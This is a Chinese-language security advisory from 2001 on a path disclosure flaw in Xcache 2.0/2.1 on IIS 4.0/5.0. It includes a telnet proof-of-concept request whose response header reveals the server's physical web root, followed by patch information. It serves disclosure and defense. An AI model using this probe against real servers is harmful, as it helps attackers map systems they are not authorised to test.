Xcache 路径泄露漏洞
发布日期：2001-09-26
更新日期：2001-09-26
受影响系统：Xcache Technologies Xcache 2.0
- Microsoft IIS 4.0
- Microsoft IIS 5.0
Xcache Technologies Xcache 2.1
- Microsoft IIS 4.0
- Microsoft IIS 5.0
描述：
BUGTRAQ ID: 3352
CVE(CAN) ID:
CAN-2001-1023
Xcache是工作在IIS前端的动态内容缓冲程序，用于提高IIS的性能。
Xcache提供了一个功能，让我们选择不缓冲哪些页面或目录。如果我们请求一个不被缓
冲的页面时，就可能导致物理路径泄露。
<*来源：（
advisories@irmplc.com）
参考：
http://archives.neohapsis.com/archives/bugtraq/2001-09/0182.html
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
（
advisories@irmplc.com）提供了如下测试代码：
[macavity@horus ~/work/research]$ telnet 192.168.0.21 80
Trying 192.168.0.21...
Connected to 192.168.0.21.
Escape character is '^]'.
GET /home/index.html HTTP/1.0
HTTP/1.1 200 OK
Content-PageName: D:\Inetpub\wwwroot\home\index.html
Date: Tue, 18 Sep 2001 16:08:59 GMT
Content-Type: text/html
Accept-Ranges: bytes
Last-Modified: Tue, 18 Sep 2001 15:10:48 GMT
ETag: "0ccc3185440c11:925"
Content-Length: 59
Server: Microsoft-IIS/5.0 Running XCache Version (2.1.5629.1)
<HTML>
<BODY>
This is a test...
</BODY>
</HTML>
Connection closed by foreign host.
建议：
厂商补丁：
目前厂商已经发布了补丁程序，请联系support@xcache.com来获得：
http://www.xcache.com/home/xcache_xcache_overview.htm浏览次数：4043
严重程度：0（网友投票）
